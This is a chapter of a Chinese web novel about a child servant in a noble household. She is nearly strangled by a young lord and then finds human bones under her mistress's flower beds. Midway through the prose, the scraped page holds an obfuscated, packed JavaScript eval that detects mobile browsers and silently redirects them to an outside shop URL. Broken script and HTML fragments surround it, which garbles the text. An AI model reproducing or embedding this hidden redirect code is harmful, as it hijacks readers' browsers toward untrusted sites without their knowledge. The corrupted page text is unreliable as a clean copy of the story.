文趣网 > 都市小说 > 恶毒女配榜首不需要被救赎 > 11. 最好的花
    花行眠低头一下一下挖着杂草,心却忍不住飘到院子里。

    今日晴和风婆婆在房间里面呆了许久,到现在都没有听见一点动静。

    她很好奇

    今日晴,听这个名字不难猜出是和这个今日府有关的。

    花行眠对这里的了解大多都来自每天送饭过来的小厮,少许是她在围墙旁听到的耳语。

    今日府有多位少主,这个今日晴估计就是其中之一。

    这几位少主中,有一位将会成为今日府的首座统领全族。

    她好奇为什么今日晴会出现在这,花行眠不认为她是过来赏花的。

    况且,她对风婆婆的态度也十分奇怪,以她对花行眠的态度就很难认为她是个尊老爱幼之人。

    花行眠现在有些慌张。

    如果今日晴怀恨在心,想要从风婆婆手中讨要自己怎么办?

    说实话,在谁的手里当狗都一样,横竖都是狗

    显然今日晴会把她当成狗肉。

    “风婆婆在吗?”

    花行眠抬起头,看见门口赫然站着一位俊朗的少男

    身形清瘦修长,看着温润单薄,却不显孱弱。

    今天好热闹。

    花行眠头一次看见在这个园子里见到那么多人。

    男子见花行眠没反应,便继续开口

    “麻烦帮我通报一下,今日雨前来求见。”

    他嘴角噙着笑,没有一丝恼意,反倒是更加客气的再一次对花行眠发起了请求。

    花行眠不疾不徐的起身,转身走到水缸前舀了一瓢水,清洗自己沾满泥泞和草汁的手。

    ……

    过了好一会儿,花行眠仔仔细细将手清洗干净后,才想起站在门口的男子。

    她刚想转身拒绝他的请求,告诉他已经有一位少主在里面了。

    “你是听不见我说话吗”

    原本站在园口的今日雨不知何时走到了花行眠身后

    他与花行眠不过一指之距,就这样静静地站在她身后

    眼神也不在温润,而是垂眼漠然打量着她,语调沉冷,字里行间都裹着不耐与不悦

    花行眠被他吓了一跳,脚不自觉的往后退,却一下子失了平衡往后倒,慌乱之中她伸出手胡乱抓着空气,试图找到支撑点

    在她手指即将碰到今日雨的时候,秉手而立的他却从容的往后推了一步,躲开了她

    “啊”

    随着一阵叫声响起,花行眠就这样直直的栽进了水缸之中。

    一旁的今日雨就这样冷眼看着花行眠狼狈的从水缸里爬出来。

    “劳烦姑娘通报,今日雨求见”

    依旧是那副温润如玉的嗓音,只是与之前不同的是,这次语气中的厌嫌毫不掩饰。

    花行眠一下子就摸清楚了这个少主的性子

    一个明着踹一个背地阴。

    两个都很讨人厌

    花行眠捂着磕到的地方忍不住倒吸一口气龇牙咧嘴起来。

    刚刚洗干净的手再次沾满了泥污。

    可即便是这样,花行眠依然对今日雨视若无睹,起身后依然自顾自地走到花圃去收拾剪落的残枝。

    此时的今日雨依旧面色温润,笑眼盈盈的看着她,只不过额角上凸起了几条青筋。

    长舒一口气后,今日雨脸上的表情彻底消失,取而代之的是淡漠冷面。

    敬酒不吃吃罚酒

    今日雨悄然走到了她的身后,从怀中取出一把锋利的短刀

    径直地往花行眠的后颈划去。

    下一秒

    啪嗒一声响起

    锋利的刀刃并没有落在她的皮肤上。

    花行眠早就敏锐地察觉到今日雨的动向,即使低着头收拾也不忘用余光盯着他

    随着身侧残落的花瓣被带起,就能确定今日雨的位置。

    在他的刀刃快要刺向她时,花行眠快准狠的抽起花枝侧身抵住他的动作。

    手中一指多粗的花枝上留下了一道重重的刀痕。

    而这残落的花枝似乎还有别的贡献

    今日雨面对这样的画面有些错愕,对于花行眠预判到自己的行动这件事感到十分的出乎预料。

    也震惊于花行眠如此瘦小的孩童居然能爆发出如此大的力气抵挡。

    今日雨下意识抻了抻被震麻的手掌,垂眸想在地上寻找掉落的短刀,可当他低下头的那一秒,那根紧绑着假面的弦彻底崩断

    只见原本素净雅致的青衣上爬满了大小不一的绵密泥点,如同梅雨天气发霉的朽木一般

    今日雨当即怒目圆睁,眉宇紧绷,那副温润小生的模样顿然消失。

    “你居然敢弄脏我的衣裾!”

    “有眼无珠的贱人,连你也敢看不起我!”

    今日雨高声呵斥着花行眠对他的大不敬,动作也越发的不管不顾起来

    下一秒,宽厚的手掌直接掐着花行眠的喉咙,将她硬生生地拎起

    花行眠没想到他会因为花枝上的泥水动怒到如此地步。

    她双脚在空气中胡乱蹬着,面色涨红,小手不断抓挠着今日雨的小臂试图挣脱束缚

    但是一个不到十岁的孩子凭借这点力气对抗一个即将成年的少年,而且还是处于暴怒状态之下,挣脱的可能性小之又小。

    随着时间的流逝,花行眠挣扎的力气渐渐减弱,她体内的空气也越来越少,胸腔喘不上气,整张脸骤然涨得通红。

    正当她准备放弃挣扎的时候

    一道肃冷的声音再次响起

    “雨公子好大的脾气,居然管教到我这里来了”

    风婆婆不知道什么时候与今日晴结束了谈论,此时正站在院前冷目相向。

    “哈哈哈,风婆婆误会了”今日雨居然仅仅一瞬间就换了神情,若无其事的松开了手,将花行眠扔在了地上,一副云淡风轻的模样,轻笑说道:“只是这位小妹快摔倒了,我扶了她一把而已”

    而刚从鬼门关里爬回来的花行眠此时正满脸通红地趴在地上大口喘息着。

    意识到正在说自己,花行眠抬起昏沉缺氧的脑袋呆滞地看着他们,脖子上的深红色的掐痕也一览无余。

    ……

    ……

    此刻的留风园寂然无声,只剩下花行眠粗重的呼吸声。

    风婆婆的目光落在她的身上轻点两下便毫不在意的挪开了,看起来并不在意她是摔倒还是快被掐死了。

    打破这沉寂僵局的人是一直站在她身后的今日晴

    利落的声音夹枪带棒对着今日雨嗤之以鼻

    “我还真不知道你这么好心肠呢”

    嘴角挤出跟今日雨一样虚伪的笑容,不停地嘲弄着他。

    “姐姐也在”

    今日雨没有在乎她的嘲弄,反而一笑置之,主动向她问好。

    见他还是这副虚与委蛇的样子,今日晴也觉得自讨无趣,不愿意再理会他。

    “你也过来吧。”风婆婆对今日雨说

    说着,她继续转身走到院里

    今日雨笑着应和了一声

    临走前还不忘冷眼瞥了一眼趴在地上的花行眠。

    贱人。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728918|208244||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    花行眠看着他离去的背影心中暗骂

    小手不断轻柔着自己被掐肿的脖颈,发烫刺痛的皮肤不断告诉她刚才今日雨对她的杀心有多重。

    女孩颤颤巍巍的从地上站了起来,低头撇了眼本身就破旧的衣服,如今沾满了泥水。

    他全身沾染的泥污甚至还不及花行眠袖子的一半。

    就因为这个,对方对花行眠毫不犹豫地痛下杀手

    花行眠还未成型的价值观无法思考出这个问题

    但她脑海中已经意识到了一个无法反驳的事实

    那就是人命不值钱。

    贩子不在乎,风婆婆不在乎,今日晴不在乎,今日雨也不在乎,任何人都可以踩她一脚。

    花行眠默默的拎起衣摆,用力将布料中的泥水拧出来,粘稠污浊的泥水顺着她的指缝再次回到泥土之中

    将揉皱的布料掸开,衣服上还是有着泥土发酵的腥臭味。

    没时间自怨自艾,只是稍稍的缓和了一会,花行眠又再次栽进花圃里干活

    没关系,她在乎。

    直到傍晚今日晴和今日晴才一前一后从里院走了出来

    神情与刚来的时候截然不同,两人都是板着一张脸,十分严肃的快步离去。

    花行眠还担心他们离开的时候会再次来找自己的麻烦。

    那把被今日雨遗落的短刀如今还放在她的怀中

    现在看来已经不需要了。

    直到现在她才忍不住长舒一口气,那个高吊的心稍稍的往下落了一点。

    “杂草除完了吗”过了许久风婆婆才缓缓出现,衣服也换了一身,手里拿着一把银制折扇,淡然看着她。

    “除完了”

    “去里院把那两个花圃的草也除一下吧”

    花行眠愣了一下,似乎没想到她会让自己除了在送饭的时候进里院,还让她去维护那里的花圃。

    整个留风园开得最好的花都在那,平时那两个花圃都由她亲自料理。

    微微怔神后,花行眠有些慌乱地应下,拿起手中工具起身打算往里院走。

    “不用拿镰刀了,你怀中不是有工具了吗”

    ……

    花行眠身形一僵,不自然的看了她一眼,想张口掩饰糊弄过去,可看到风婆婆一副了然的模样,到嘴边的话又咽了下去。

    花行眠讪讪的放下手里的镰刀,将那把差点要自己命的短刀拿了出来。

    繁茂的花圃前,花行眠半跪在地上挖掘着泥土。

    风婆婆则在身后俯身将那些枯枝败叶给折下,一改常态地和她搭话聊天

    “刚刚怕吗”

    “怕什么?”

    “怕死吗?”

    花行眠微微失神,一下子拿不准她话里的意思。

    片刻后还是老老实实地回答了她

    “刚开始怕,后面想拉着他们一起死”

    听到她的回复,风婆婆有些错愕的看着她,随后又大笑起来

    “哈哈哈哈哈哈哈哈”

    一向严肃冷漠的风婆婆突然判若两人,花行眠觉得有些诡异,手中的动作也没有停下,依旧低着头划拉着给花松土

    手中的短刀被什么东西给挡了一下,花行眠以为又是石子,向下挖了挖,随着泥土被不断刨出,阻碍物也全貌毕现。

    这根本不是石子,而是一整块人的下颌骨。

    花行眠有些茫然无措地看向风婆婆。

    随着最后一枝枯花被她折下,风婆婆满意地看着眼前的景象,欣慰说道

    “这些都是我养的最好的花”